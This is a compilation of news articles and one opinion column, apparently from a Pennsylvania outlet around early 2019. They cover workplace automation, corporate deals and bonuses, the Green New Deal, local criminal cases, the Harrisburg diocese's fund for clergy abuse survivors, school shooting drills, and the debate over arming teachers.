Firms in cities hit hardest by the Great Recession raised their skill requirements for new employees and invested more in technology, according to economists Brad Hershbein of the W.E. Upjohn Institute for Employment Research and Lisa Kahn of the University of Rochester.

Their 2018 American Economic Review analysis of almost 100 million online postings collected by Burning Glass Technologies in 2007 and 2010-2015 found strong signs companies were replacing workers who performed routine tasks with a combination of technology and more skilled workers. The effect was especially pronounced for cognitive workers such as office clerks, office administrators, and salespeople.

The economy is near full employment  the point at which everyone who wants a job has one. The unemployment rate has been at or below 4 percent for 10 straight months.

But the labor market for robots has room to grow. As wages rise and human help gets pricey, companies have experimented with alternatives.

The Washington Posts Peter Holley has tapped into a deep vein of corporate automation efforts in recent months. Cooler-sized robots deliver food for $1.99 at George Mason University in suburban Washington. Tall, slim robot assistants patrol Giant supermarkets in search of spills and hazards. Walmart planned to install 360 floor-cleaning robot zambonis by the end of January. A start-up called Robomart hopes to start running mobile supermarkets in robotic minivans in the Boston area in partnership with Stop & Shop.

But while many businesses dabble, few have gone all-in  yet.

"While you begin to see more kiosks in Panera in the boom period," Muro said, "the real urgency may occur for companies if there's a recession in the next two to three years."

The big players are lining up. Amazon reportedly plans to add as many as 3,000 cashierless stores by 2021 to augment its cashierless digital storefront. Sams Club and what Bloomberg calls a fleet of competitors are following suit. (Amazons chief executive, Jeff Bezos, also owns the Washington Post.)

It may seem odd that automation progresses most rapidly during and after recessions, when unemployment is high and humans are cheap. But as Muro and Whiton point out, workers start looking much more expensive during recessions once you account for businesses' declining revenue.

Because of the work they tend to do, young workers are most susceptible. They comprise 9 percent of the workforce but 29 percent of food-service workers. Men, who hold seven out of 10 production jobs, will likely face more upheaval than women.

Hispanic workers are more exposed than any other race or ethnic group, Brookings found. American Indians and black workers also face elevated risk of their job changing or vanishing due to technology.

The Rust Belt areas hammered by the Great Recession remain automation's likeliest targets. Technology will shake up Toledo, Ohio, more than any other metro area in the country, Brookings found. Much of the rural South and Midwest will also face further transformation.

There are lot of questions about how the next recession will work, Muro said. It could be a rough next episode.Lead investor EnerTech Capital, a $500 million (invested) venture-capital firm based in West Conshohocken, and other backers including General Motors,have agreed to sell Ushr Inc., which makes autonomous-driving software and high-definition mapping technology for GM, to Dynamic Map Platform Co. Ltd., a supplier of map tech backed by Honda, Toyota and other Japan-based automakers. The price was not immediately disclosed.

The deal will enable Dynamic Map to " establish a single, enhanced platform for accelerated development and delivery of HD mapping solutions for autonomous vehicles and advanced driver-assistance systems," Dynamic Map said in a statement.

Based in Detroit and headed by former Oracle executive Bruce Gordon, Ushr was set up in 2017 as a spin-off from GeoDigital, an EnerTech-backed software company that specializes in geospatial mapping.

Ushr HD mapping is used in GMs Super CruiseTM built into 2018 Cadillac CT6 sedans. According to EnerTech, when combined with vehicles equipped with sensors and software enabling autonomous driving, Ushrs HD maps allow self-driving cars to safely operate on mapped roadways.

Scott Ungerer, the Princeton graduate who founded EnerTech Capital in 1996, predicted growth for the combined businesses."

Like many of EnerTechs investments, GeoDigital is based in Canada. Other EnerTech-backed companies include Tangent Energy, a Kennett Square company that makes distributed energy-management systems for industry, in partnership with Cummins, the engine and generator maker; Blue Pillar, the Maryland-based building energy management systems developer; and NanoSteel, a Providence, R.I. superlight steel maker that supplies auto and rail companies.

EnerTech has raised four funds so far, the last for $120 million, in 2013.First delay, then dont pay.

That appears to be the tactic Aramark chief executive Eric Foss  who has been touting the Philadelphia companys record revenues while barely reaching a target set three years ago for Aramarks 2018 profit margin  used when it came to last years bonuses for thousands of low-level managers, whose duties include overseeing cafeterias and running uniform operations.

While fiscal year 2018 was a good year for the total company, it was a year in which we saw great disparity in the financial performance across our U.S. businesses, which impacted bonus payments, the food and facilities services company told employees in an email last Friday. This resulted in a decision not to pay Fiscal Year performance bonuses for bands 5-8 in the US. Aramark divides managers into eight tiers or bands, with band one being the highest level.

Aramarks annual bonuses are typically paid in early December, but the company told employees last week that the bonuses were to be paid but that they would be delayed until February.

The company declined to say Sunday how many managers were not going to receive their expected bonuses or how much money Aramark would save by replacing the bonuses with onetime awards. Bonuses for the higher-ranking managers in bands two through four were not mentioned in Fridays notice.

Aramark had an adjusted operating income of $1.1 billion during the financial year, up 15 percent from the previous year. The company employs 274,400 people globally, according to its latest annual report  about 14,000 in Pennsylvania, including nearly 6,500 in the Philadelphia region.

Instead of paying bonuses, Aramark said it would use some of the money it saved as a result of the corporate tax cuts in 2017 to pay select U.S. leaders" a onetime special recognition award. Those payments, to be made Feb. 15, will range from $27,500 to $5,500, according to multiple sources within the company.

Aramark said it booked a $237.8 million benefit from the federal Tax Cuts and Jobs Act of 2017, which slashed the federal tax rate for corporations to 21 percent from 35 percent, the company disclosed in its annual report.

CEO Foss received $2.6 million in annual incentive bonus payments for the 2018 financial year. That was 77.3 percent of the target the board of directors had set for him. Foss total compensation for the year was $16 million.Ashley Whitney: Have you checked in with your employees lately?Alexandria Ocasio-Cortez (D-N.Y.), the new It Girl in the Democratic Party, and U.S. Sen. Ed Markey (D-Mass.) have unveiled their Green Energy Agenda. In their 15-point plan, they call for [a] new national, social, industrial, and economic mobilization on a scale not seen since World War II and the New Deal era to end our reliance on fossil fuels. Major 2020 Democratic presidential contenders have signed on. And, Republicans are licking their chops.

The Green Energy Agenda promises, to create millions of good, high-wage jobs in the United States; to provide unprecedented levels of prosperity and economic security for all people of the United States; and to counteract systemic injustices." Thats a pretty bold promise particularly coming from Ocasio-Cortez who has yet to run anything other than the tap at the Flat Fix Tequila Y Taco Bar in New York. The Green Energy Agenda will likely meet the same fate as its 2009 precursor, the Democrats doomed, cap and trade plan, which didnt even pass the Democratic-controlled U.S. Senate.

Yet the Democrats will spend the next several weeks or months pushing their new plan, which is cap and trade on steroids. President Trump thinks thats just brilliant. He knows this will ensure that blue-collar Democrats, many of whom work or want to work in the fossil fuel and supporting industries, will stay with him as we move toward the 2020 presidential campaign. About 1.9 million Americans work directly in the traditional coal, oil, and gas electric power generation and fuels sector. And, now with the Green Energy Agenda, Democrats are aiming to eliminate their jobs once again.That will not play in Peoria nor Pittsburgh.

Democrats lost the 2016 presidential race because they ignored the concerns of blue-collar Democrats in Americas Rust Belt  those Midwestern states, including Pennsylvania, that have suffered from a significant decline in their manufacturing sectors over the past several decades. Hillary Clinton neglected states like Michigan and Wisconsin, much to the chagrin of her husband, former president Bill Clinton, who has a better ear for knowing what voters want. Hillary, who famously complained that white women vote the way their husbands tell them, should have listened to her husband.

Trump, on the other hand, knew how to win over the Rust Belt. His pledge to put America first on trade and immigration was music to the ears of so many Midwestern Democrats  men and women who had suffered so much under the globalist economic policies of the Republican and Democratic parties. When Trump came to Pittsburgh during the primary season, a city which had come to epitomize the decline of American manufacturing, he blew the lid off the David L. Lawrence Convention Center. In the first line of his speech to the 8,000 in attendance, Trump declared, We are going to bring back your coal industry your steel industry. Were bringing it back! The crowd erupted in thunderous applause. And with those few words, Trump closed the deal not only on the Pennsylvania primary that spring but on the entire Rust Belt in the general election that fall.

Fast forward three years and the Democrats are once again pushing policies that will devastate the economies and the jobs of the men and women in the Rust Belt. Through their Green Energy Agenda, Democrats will bring under one umbrella, in something akin to a modern-day Marshall Plan, a variety of unrelated pet policies from providing all Americans with guaranteed employment, free college and universal health care to repairing the historical oppression to indigenous peoples. This will make Elizabeth Warren happy, because it promises to take care of her people but it will make the overwhelming majority of Americans pretty angry.

The main thrust of the plan is for the U.S. to meet 100 percent of its power needs through clean, renewable and zero-emission energy sources. According to the Heartland Institute that, would shut down virtually all coal, oil and natural gas electric plants, eliminating millions of jobs in the process. There are around 340,000 Pennsylvanians who work in connection with the energy sector. If the Democrats Green Energy Agenda is put into play, most of those jobs will be eliminated. Further, about 80 percent of the American people get their energy from fossil fuel sources and will not appreciate Democrats efforts to bankrupt those industries.

Ocasio-Cortez, a self-described Democratic Socialist, has stated proudly that her plan will require massive government intrusion." And, of course the plan doesnt come with a cost estimate. Its authors admit they dont know the cost but stated that it was so high it was beyond the financial capability of every billionaire and company in America. Thankfully with a Republican U.S. Senate and Trump in the Oval Office, this plan has no chance of success. Instead, it will cause the Democrats to lose the Rust Belt once again, and thus the next presidential election. So, I say to my Democrat friends who support this plan march on, comrades! March on!

--

PennLive Opinion contributor Marc A. Scaringi, of Camp Hill, is an attorney and host of the Marc Scaringi Show on WHP580-AM in Harrisburg. His work appears biweekly.Should Carlisle police be praised for solving a difficult and complicated murder at a local American Legion post, or should they be crucified for allowing the real killer to get away?

Those questions will be hovering in the background as a Cumberland County jury continues deliberating Thursday in the homicide case against 41-year-old Robert Rocky Anderson Jr. sometime Wednesday afternoon.

Anderson is accused of gunning down Daniel DJ Harris, a local drug dealer, in front of multiple witnesses inside the Haines-Stackfield American Legion post on West Penn Street early on June 11, 2016.

Senior Assistant District Attorney Kimberly Metzger is seeking a first-degree murder conviction and a death sentence for Anderson.

In closing arguments Wednesday afternoon, Metzger insisted police did a sterling job of tracing the killing to Anderson, who she said had a long-running and violent feud with Harris.

Investigators managed to amass the mostly circumstantial case against Anderson despite an array of uncooperative witness and a rats and snitches culture that discourages cooperation with the police, Metzger said.

By contrast, defense attorney Heidi Eakin put the police on trial. Their investigation was shoddy, she insisted in her final address to the jurors. They focused on Anderson early and had tunnel vision throughout their investigation, Eakin said. She said investigators ignored any evidence that didnt point to Anderson as the gunman.

If it doesnt follow their theory, they ignore it. They hide it, she said.

At the same time, Eakin said, police never considered Khalil Williams, a Philadelphia man who was apprehended with the gun that killed Harris three months after the legion slaying, as a viable suspect.

Only one eye-witness to Harris killing, Michael Evans, testified that he saw Anderson in the legion at the time of the murder, Eakin said. Evans has told various stories and cant be believed, she insisted.

Innuendo, rumor and suspicion is all this (prosecution) case has been about, Eakin said. They want you to execute (Anderson) on this evidence.

Are you going to accept this kind of police work? she asked.

Metzger countered that all the evidence police amassed points straight to Anderson. She said Anderson had a motive for revenge because five months before Harris was killed, Anderson was shot and wounded amid the war between their families.

Police ably followed what leads they had, the prosecutor said. The day after (Harris) shooting the community was pointing the finger at Anderson because they knew he was the shooter, Metzger said.

She claimed an associate called Anderson to alert him that Harris was in the legion. Anderson them walked over a mile to the club in about 20 minutes, shot Harris, then ran away, Metzger contended.

The gun used to kill Harris had been stolen by two of Andersons relatives during a burglary in Carlisle in 2015, she noted.

You have to put the pieces together, Metzger told the jury. I dont think at all that is an easy jobBut when you put the pieces together, youre going to find (Anderson) guilty.

Anderson decided earlier in the day not to testify in his defense.

The jurors began deliberating around 3:45 p.m. after President Judge Edward E. Guido instructed them on the law. The judge sent them home an hour later with directions to take up the case again Thursday morning.Update: All vehicle restrictions were lifted across the state as of 10 p.m. Tuesday

Transportation officials announced that weather-related travel restrictions have been lifted from a number of Pennsylvania roadways, as a storm that delivered snow and freezing rain moves out of the area.

The new list of dismissed road restrictions comes after many others were lifted earlier in the day. To see a list of those lifted earlier click this link.

As of 8 p.m., a full commercial ban was removed from a number of roadways, PennDOT officials announced. The roadways are listed below:

Interstate 99 from I-80 to the Turnpike

I-80 from I-79 to I-81

I-81 from I-83 to the New York state line (both the full and limited vehicle bans)

I-476 (PA Turnpike, Northeast Ext. both the full and limited vehicle bans)

I-180 full length from Route 220/U.S. 15 to I-80

The commercial ban remains in effect elsewhere in the state. A list of areas where the ban remains is printed below:

I-380 full length from I-81 to I-80

I-80 from I-81 to the New Jersey state line

I-84 full length from I-81 to the New York state line

And lastly, a prohibition on empty, straight CDL-weighted trucks; Large Combination Vehicles; tractors hauling empty trailers; trailers pulled by motorcycles, passenger vehicles, pickup trucks or SUVs; all motorcycles; and recreational vehicles remains in effect on the below listed roads:

I-78 full length from I-81 to the New Jersey state line

Route 22 from I-78 to the New Jersey state line

Route 33 from I-78 to I-80Catholic bishops have long held that victims compensation programs offer a chance for victims to heal.

That theory is about to be put to the test for potentially hundreds of victims of clergy sex abuse across the Diocese of Harrisburg.

On Tuesday, officials from the diocese rolled out a program that will pay out millions of dollars in financial compensation to adults who were sexually abused as children by priests and church officials. The diocese has not announced the size of the fund or estimates of how much will be awarded to settle individual claims.

Some victims welcome the idea of a compensation award, particularly in light of the fact that the legislative reforms that would allow victims to sue predatory priests in court have up to now failed in the General Assembly.

The majority of victims linked to the findings of the grand jury report are timed out of the legal system because the statute of limitations have expired for them.

Under state law, victims must pursue criminal cases by the age of 50 and civil cases by the age of 30.

Personal healing is so individualized, said Jennifer Storm, the Pennsylvania Victims Advocate. To assume money is going to lead to healing is a dangerous assumption. Certainly victims have outstanding counseling bills so financial assistance helps in making sure they can get good therapeutic services but to equate money to healing is dangerous.

Some victims worry that such a fund could further insulate and protect the church - politically and legally.

Anytime victims have an avenue to reconstitute their lives it should be regarded as positive, said James Faluszczak, who grew up in Erie where he was molested by a priest from the local diocese. He testified in the 2018 grand jury investigation. But these plans are only rolled out where there is a likelihood of legislative statute of limitations reform. These funds, even if they seem to be operated by an outside agency, still work within financial constraints that the diocese decides.

In announcing the terms of the funds, Harrisburg Bishop Ronald Gainer reiterated his apologies and profound sorrow for the pain and trauma inflicted on victims.

While we understand that financial compensation will not repair or erase the heartache and damage done by the abuse these survivors have suffered, we hope and pray this support can help to improve their lives," he said. These settlements will serve as further recognition that the Church acknowledges these terrible abuses did occur and we hope that this program will help advance survivors on their path towards healing.

The dioceses Survivor Compensation Program will be administered by Commonwealth Mediation & Conciliation, Inc. and will be effective immediately for three months.

Private settlements to individual victims will be determined by the fund administrator. The diocese said it has set aside a substantial amount of money in the millions to fund the compensation program. Within 14 days of the close of the claims period, the fund administrators will notify all claimants as to their eligibility.

Victims note that the compensation program ostensibly would preclude the Diocese of Harrisburg from having to hold additional discovery for the benefit of victims.

Will they open their files, particularly assignment histories, to victims, Faluszczak asked. Will the diocese now come clean? I believe not, since there is no sound record of the Diocese of Harrisburg policing itself.

The diocese was one of six Pennsylvania dioceses at the center of a grand jury report released in August 2018 that unearthed decades-long systemic and widespread sexual abuse of children at the hands of priests and church officials.

Todd Frey, who was abused as a teenager by his priest and testified before the grand jury, remains ambivalent about the prospect of filing a claim for compensation with the diocese.

Frey, who was 13 in 1982 when his priest began to sexually molest him, has staked his hope for redemption on a retroactive window to the statute of limitations that would permit him to file a civil suit.

Indeed, the time parameters on the compensation fund concerned him. To participate in the program, a claimant must have previously identified themselves to the diocese on or before Feb. 11.

The claims period will run for 90 days, from Feb. 12 through May 13.

They are rigid, Frey said. Why so rigid? Three months. My goodness. How does one even determine in three months what direction they want to move?

Mike Barley, a spokesman for the diocese, explained the rationale for the time frame.

Our goal is to get people resources quickly, he said. If we determine we need more time, we could move that deadline.

Members of the Fortney family, a Dauphin County family that includes five sisters who were all sexually abused by their priest when they were children, noted as a point of concern one of the criteria under the fund: that the person must have previously identified as a survivor of childhood sexual abuse to the diocese on or before Feb. 11. Victims and survivors who come forward after the deadline will be considered for future participation in the program.

This stipulation, among many other concerns we have with the fund, prove further that the state of Pennsylvania needs to indeed change the laws as victims who have not identified to the diocese for many good reasons - shame, fear, trauma - now find themselves excluded," the Fortney sisters wrote in a statement to PennLive.

This fund is disguised as justice, but excludes and stands in the way of justice for all.

The five sisters - Saundra Fortney-Colello, Lara Fortney-McKeever, Patty Fortney-Julius, Carolyn Fortney, and Jeanne Fortney-Webster - were sexually abused by Father Augustine Giella in the 1980s. Their stories of abuse are detailed in the grand jury report - and at times detail horrific accounts of abuse at the hands of Giella.

Victims also expressed concern that filing a claim with the compensation fund would make them ineligible to file civil court cases should the Legislature enact a retroactive window in the statute of limitations.

Im 50 now, Frey said. If they open that window.... its something that has been on the back of my mind.

Victims who receive settlements from the compensation fund would be barred from filing legal action in the event the Legislature installed a retroactive window to the statute of limitations, Barley confirmed on Tuesday.

Historically, payouts from compensation funds have generally been far less than court settlements. For example, some jury verdicts in other, similar sexual abuse cases have resulted in awards for victims in the tens of millions of dollars. Cash awards from compensation funds have paid considerably less.

Marci Hamilton, a University of Pennsylvania law professor and CEO of CHILD USA, pointed out that few child sexual abuse cases go to a jury trial.

(99.9) percent of cases are settled through litigation or mediation, she said. Victims will have more leverage through a lawsuit than the fund but for many the rigors of the legal process with its delays and demands are too much. Each survivor should choose for themselves what is best for their happiness and mental health.

Rep. Mark Rozzi, the Berks County Democrat who has spearheaded the efforts to reform child sex crimes laws, both welcomed and criticized the compensation fund. Victims will get something out of it, but the church dodges accountability and transparency, he said.

In all honesty, the best case scenario would have been for the fund and the window to run simultaneously to give victims a true option of whether to go with the fund or go with the window, said Rozzi, himself a victim of clergy sex abuse. It would have really given victims a true path forward.

Rozzi said the diocese will have no obligation to do anything with the information culled from victims applying for the fund.

That is important to victims, Rozzi said. The whys and how the abuse happened. We want answers. We want to know why this happened to us. The fund will not allow that to happen.

Storm, the Commonwealths Victim Advocate, elaborated on that idea.

What survivors need is acknowledgement of the harm. Understanding of what happened to them and revealing of perpetrators, Storm said. "That brings them closer to healing."

The victims of clergy sex abuse were children when they were assaulted by priests - for some the repeatedly over the years. The compensation fund, Storm said, falls short of providing full closures and answers.

They dont have the full picture of what happened, who knew, who covered up, she said. Those questions were answered for so many survivors during the grand jury.

Victims not mentioned in the grand jury will only be able to glean those answers through the courts.

The Fortney sisters said they respected survivors who needed to access a quick fund "to quietly manage their needs."

But they cautioned anyone participating in the fund to do so with counsel or a trusted independent advocate "to ensure trauma informed treatment and ethical financial resolution."

They urged Gainer to permit the identification of newly named predators as part of the fund process.BUFFALO, N.Y. (AP)  Long before an ex-student opened fire on his former classmates in Parkland, Fla., a year ago, many school districts conducted regular shooting drills  exercises that sometimes included simulated gunfire and blood and often happened with no warning that the attack wasnt real.

The drills began taking shape after the Columbine High School shooting in 1999. But 20 years later, parents are increasingly questioning elements of the practice, including whether the drills traumatize kids.

April Sullivan was pleasantly surprised by an I love you, Mom text from her daughter last May, even though she knew the eighth-grader wasnt supposed to be using her cellphone during school in Short Pump, Va. But she did not know that her child sent it while supposedly hiding from an intruder. The girl didnt know the code blue alert was a drill.

"To find out later she sent that text because she was in fear for her life did not sit well with me," Sullivan said.

Henrico County Public Schools have since changed the way they conduct drills, making clear at the start that the events are not real and notifying parents as the drill begins or right after, district spokesman Andy Jenks said.

The backlash underlines the challenges administrators face in deciding how far to go in the name of preparedness.

Thirty-nine states require lockdown, active-shooter or similar safety drills, including Pennsylvania. Other states have less explicit requirements or leave it to districts, according to the Education Commission of the States. A Mississippi task force has proposed twice-yearly active-shooter drills.

But even as the drills become routine for many of the nation's 51 million elementary and secondary public school students, there is no consensus on how they should be conducted, experts said. No data exists, for example, to show whether a drill with simulated gunfire is more effective or whether an exercise that's been announced in advance is taken less seriously than a surprise.

"Some hard data on each question are needed with urgency," said University at Buffalo professor Jeremy Finn, who gathered experts from around the country to evaluate school security measures at a conference in Washington, D.C., in October.

After Columbine, lockdowns that involved bolting the door and crouching quietly out of sight became the norm. In 2013, the Department of Education recommended giving staff latitude to evacuate, barricade classroom doors or, as a last resort, fight back by throwing things or rushing the attacker.

Do you really want it to be your kid whos the one who takes the bullet and winds up with a plaque in the lobby of the school saying he went down as a hero? asked Bethel Park, Pa., parent Nanette Adams, who disagreed with the decision to adopt a widely used safety protocol during a September drill at her 15-year-old sons high school. The protocol is known as ALICE, which stands for alert, lockdown, inform, counter and evacuate.

"To me, this just seems like an indirect admission on the part of the schools that they really have no control over who gets into the building, and the school security officer isn't enough to keep the place safe so we need to hold the kids accountable for doing it," she said.

In 2014, the National Association of School Psychologists and the National Association of School Resource Officers issued joint guidance that cautioned that while drills have the potential to save lives, those "not conducted appropriately" can cause "physical and psychological harm to students, staff and the overall learning environment."

After public criticism of the unannounced Short Pump drill and others, the Virginia House of Delegates last month considered, but defeated, legislation requiring schools to give parents advance notification. The bill's Democratic sponsor, Schuyler VanValkenburg, a high school teacher, said opponents argued that the heads-up would hinder safety by letting students take it less seriously.

"I think that's baloney. They're very aware of what can happen in this day and age. They all see the news. They all see social media," said Sullivan, whose daughter declined to be interviewed by The Associated Press but described the drill for Richmond television station WWBT a few days later.

"I thought I was probably going to die that day," she said. "We hear the door handle jiggling up and down and then we see the door open, and it's our resource officer telling us it's a drill."

When her son's school fired blanks during a drill, Adams questioned whether it was really necessary to expose children to the sound of gunfire. Others complained that such realistic exercises can take a toll on classroom learning even after the drills are done.

Mo Canady, executive director of the school resource officers' group, recommends districts save the most intense exercises for staff only. As the decision-makers, he said, "they need to know a little more what that's going to feel like."

For students, lower-stress drills that have them listening to instructions and running through the motions, like traditional fire drills, should be the focus, he said.

We need to be as prepared as we can, Canady said, but it doesnt mean that weve got to terrify students to get them prepared.

By CAROLYN THOMPSON, Associated PressTwo Millersburg residents are accused of tying their young daughters to wooden chairs, according to state police.

Brianna Kilpatrick, 26, and Tristan Dyer, 31, were charged with endangering the welfare of a child following an investigation originally prompted by suspicions of medical neglect.

Dauphin County Children and Youth Services were contacted on Dec. 12, 2018 because a 5-year-old was not in school for three days and the mother, later identified as Kilpatrick, did not provide excuses.

Police said when the girl did return to school, her lymph nodes were very swollen and she had not seen a doctor. Both girls were very dirty and complained of being hungry after being brought to school.

In the investigation, police said they learned that Kilpatrick and Dyer, who live in Upper Paxton Township, tied the 5-year-old and 6-year-old daughters to wooden chairs with a belt, for punishment.

No charges for medical neglect were filed. Both are facing two felony charges of child endangerment.

Kilpatrick and Dyer were both release on unsecured $10,000 bail.A York man faces felony charges in Cumberland County after police said he delivered drugs that caused a fatal overdose in 2017.

Aaron W. Fisk, 31, was arrested Monday by the US Marshals Fugitive Task Force, according to a Tuesday news release from Upper Allen Township police. Police added that he was arrested without incident.

Fisk was wanted for a September 2017 incident, in which a person, who police did not identify, died of a heroin and fentanyl overdose, according to the release.

An investigation, police said, showed that Fisk was the person who delivered the drugs.

Online court documents show that Fisk faces felony charges of drug delivery resulting in death, possession of a controlled substance with intent to deliver and criminal use of a communications facility.

Fisk was arraigned on his charges Tuesday before Magisterial District Judge Jonathan R. Birbeck, and he is scheduled to appear for a preliminary hearing at 1:30 p.m. Feb. 25 before Magisterial District Judge Mark Martin.

As of Tuesday afternoon, online court documents showed that Fisk remained incarcerated in Cumberland County Prison. He was denied bail.UPDATE: Accused killer calls 15-year-old victim his best friend

Police in Harrisburg have arrested and charged a man in connection with a fatal shooting of a high school student in December.

Capt. Gabe Olivera confirmed Adrien D. Hailey was arrested at approximately 8:30 a.m. Wednesday.

Hailey, 19, of Harrisburg, is charged with criminal homicide, robbery, theft by unlawful taking, tampering with or fabricating evidence, and making a false report, according to a court docket.

Adrien Hailey

On Dec. 5, city officers were dispatched at 4:20 p.m. to the 1900 block of Bellevue Road for a report of shots fired.

Officers found 15-year-old Donnell Williams, who had suffered a gunshot wound, according to police. Williams died as a result of that injury, police said.A Manheim Township couple who has stopped attending Mass said they dont believe the leader of the Roman Catholic Diocese of Harrisburg when he speaks.

Central Pennsylvanias diocese has scheduled listening sessions to atone for their role in the Catholic Churchs clergy sexual abuse scandal. The fourth session was held at St. Leo the Great Parish in Lancaster County on Tuesday evening. Another session is scheduled Wednesday in St. Joseph Parish in Mechanicsburg.

Harrisburgs Diocese earlier Tuesday announced its establishment of a victims compensation fund, which is why Claire Rennie, 60, said she attended the Lancaster listening session. She said her husband was abused in the Altoona-Johnstown Diocese.

She thinks its insulting, she added, that Bishop Ronald W. Gainer deflects questions and avoids providing sincere answers.

We hear the church abused you, the bishop covered it up, you dont get statute of limitation, she said.

The couple has been married for over 30 years, but Rennie said she only learned of her husbands childhood nightmare a year ago.

Harrisburgs Diocese said that millions of dollars are going to be paid to victims, however, it did not disclose a specific dollar amount or provide details on the amount that will be dispersed to victims. The Survivor Compensation Program will be administered by Commonwealth Mediation & Conciliation, Inc. and will be effective immediately for three months.

The two-and-a-half-hour listening session drew a sizable crowd on a cold, rainy night. Two-thirds of the Lancaster County churchs pews were filled. Throughout the session, a steady stream of people exited the sanctuary to fill out comment cards.

A steady stream of parishioners filled out index cards Tuesday at Harrisburg Diocese's listening session in Lancaster.

The laity are speaking out, Carolyn Fortney said. She is a member of the Dauphin County family who had five daughters abused by their Catholic priest. They are angry, and they are giving options and solutions to this systemic problem."

The Fortneys were part of Attorney General Josh Shapiros grand jury investigation into the alleged abuse. Shapiro released his grand jury report on August 14, 2018.

Her sister, Saundra Fortney-Colello, agreed that more people are starting to absorb the shattering reality that sex abuse permeated the church.

This kind of stuff, if you think about it, its shocking, Saundra said.

She acknowledged that she and her sisters have supported each other, and they now want to make sure what happened to them doesnt happen to another child.

To be 60, 70, 80 years old, and to hear this [grand jury report] on August 14 your first instinct is to be like no, because the Catholic Church just isnt your faith when youre a Catholic, its your life, Saundra said. Its your social life, its your family, its your friends, its your culture, its everything.

She said she isnt angry with other parishioners who dont believe the problem is as widespread as victims claim it to be.

So, I feel sorry, I feel bad for them, Saundra said. Im not angry with them either."

Some leaving the church said they still dont believe that many people were victims of clergy abuse. A handful of attendees explained there were conflicting feelings expressed during the session, but they did not want to comment about their point of view. Media wasnt allowed inside.

Diana Vojtasek, 44, drove with her husband, Mark, from Reading to attend the event. She said shes been through every emotion from her teenage years until now, but she said she chooses to continue to believe in God. Vojtasek, a victim of clergy abuse in the Allentown Diocese, said shed rather face the secondary victimization, instead of not speaking up because then the culture of abuse will just continue.

I came for my survivor family, thats why I came," Vojtasek said. I came for them. Its very painful for me to even be in here. I praise God, I still have faith, but it is not in this institution. I have a faith apart from this institution. My faith is in Christ, the God of the Bible. So many are still very shattered. Im here for them.As Pittsburgh City Council weighs a proposed gun ordinance banning some weapons in the wake of the Tree of Life Synagogue shooting, a gun-rights advocate asked why the synagogue is not being held responsible for a lack of security.

Th comments were made by Kim Stolfer of the group Firearms Owners Against Crime at a city council meeting Tuesday night, WTAE is reporting.

According to WTAE, at the post-agenda meeting on the proposed gun ordinance, Stolfer said:

Where was the citizens there? How many veterans were in that synagogue at the time that were disarmed by the synagogues policies on no guns? Why are we not holding the synagogue responsible for not having security?

Eleven people were killed in shooting last fall.

Stolfers comments were quickly rebuffed by Councilwoman Theresa Kail-Smith, who said, its almost blaming the victims for not having their own protection, and I was really offended by that, WTAE reports.

This meeting came the day after truck driver Robert Bowers, the man charged in the massacre, pleaded not guilty at his arraignment in federal court. Bowers, 46, of Baldwin, is accused of targeting worshippers from three Jewish congregations when he attacked Oct. 27 during Sabbath services.

In addition to the 11 who were killed, seven people were wounded, including five police officers.

Pittsburghs proposed gun law has prompted protests from many gun-rights advocates. City council will soon take a preliminary vote on the proposal to ban some semi-automatic weapons and large capacity magazines in the city, according to reports.

Allegheny County District Attorney Stephen Zappala has expressed doubts about the citys authority to enact such a legislation.A new business will offer help to small businesses that need financing.

Rotay Capital Finance has opened in Lancaster. The company will help small businesses seeking capital to operate and expand. Rotay Capital Finance will provide a variety of commercial financing services including: accounts receivable financing, commercial real estate financing, equipment financing, franchise financing, healthcare financing, purchase order financing, small business loans and unsecured lines of credit.

Rotay Capital Finance will offer access to lending products and specializes in commercial real estate, equipment leasing in construction, mining and fracking, trucking, business acquisitions, aircraft and marine, among others.

The company owned by Stephen Rotay of West Lampeter Township, Lanaster County is located at 342 N. Queen St. The office opened last month. Since 2000, Rotay has owned and operated five franchises in Pennsylvania and New Jersey, and a recruiting company. He has spent most of his career in sales and management.

Stephen Rotay

--Business BuzzThe idea of arming Pennsylvania teachers as a defense against a school shooter gained momentum in 2018 before eventually fading.

But the idea seems destined to arise again. And a possible winning argument came to life in 2018.

Its based on awareness that, in some parts of Pennsylvania, it might take 5 to 10 minutes or even longer for the first police officer to arrive at a school under attack by a shooter. Once on the scene, it could take even longer for police to assess the situation and go inside.

All the while, students and teachers would be trapped with a shooter, with little defense other than to try to hide.

That kind of scenario was repeatedly raised during the series of school security hearings held across Pennsylvania last year in response to the school shooting that killed 17 and wounded 17 others in Parkland, Fla. one year ago tomorrow.

Its the same one Republican state Sen. Don White of western Pennsylvania cited a year earlier when he introduced a bill to give school districts the option of allowing teachers who have had special training to carry a gun at school.

The prevailing interpretation  although not universally accepted  is that Pennsylvania law makes it illegal for most people, including teachers, to possess a gun on school property. While the law does allow possession of a gun on school property for a lawful purpose, a review by the Pennsylvania State Police concluded it doesnt provide a legal pathway for arming teachers.

Whites bill, although publicly discussed in 2018, saw no debate or vote among lawmakers. Having failed to win approval during the two-year legislative session that expired at the end of the year, the bill will need to be reintroduced.

Still, the lack of action on a bill didnt stop one Pennsylvania school district from moving toward arming teachers. In September, the Tamaqua Area School District approved a policy to allow teachers and employees to carry school-issued firearms after receiving special training.

However, the teachers union quickly filed suit, arguing the move is illegal and as well as bad policy and stating, As teachers, counselors, and other education professionals, we are trained to provide a high-quality education to our students, not to carry or use firearms in a dangerous situation.

A group of parents also filed suit, and in January the school board voted 7-1 to put the proposal on hold, pending the outcome of the lawsuits.

Before that, statewide organizations representing teachers and school administrators had voiced opposition to the idea of arming teachers.

But over the course of the school security hearings in 2018, it became clear the idea has some influential supporters.

At one hearing, York County District Attorney Dave Sunday said he would he would take comfort in knowing some of his childrens teachers were armed if they attended a school where it might take police 20 or 30 minutes to respond to an emergency.

He said local communities should have the right to decide. If the people in the district dont like that, they can certainly vote those school board members out, he said.

Likewise, Lebanon County District Attorney Dave Arnold said Im in favor of the concept districts should have the option if they want to.

State Sen. Mike Regan, a Republican and a former U.S. marshal, offered a more mixed take on arming teachers.

He questioned the ability of a teacher, even with the training called for in Whites bill, to function effectively when facing a real-life shooter. Such situations, he said, trigger intense physiological reactions  things like tunnel vision which can impair someones ability to function. Even highly trained law enforcement professionals experience those things, he said. But they can resort to habits ingrained during extensive training, he said.

Still, Regan leaned it favor of giving districts the option, saying the mere possibility of armed teachers might serve as a deterrent to someone considering a school attack.

Phillip Domencic, the superintendent of the Cornwall-Lebanon School District, said most teachers oppose the idea. While some have said they would consider carrying a gun, Domencic said he suspects those teachers arent fully aware of the level of training possessed by law enforcement professionals. An armed teacher lacking that level of training creates more potential for harm than for good, he said.

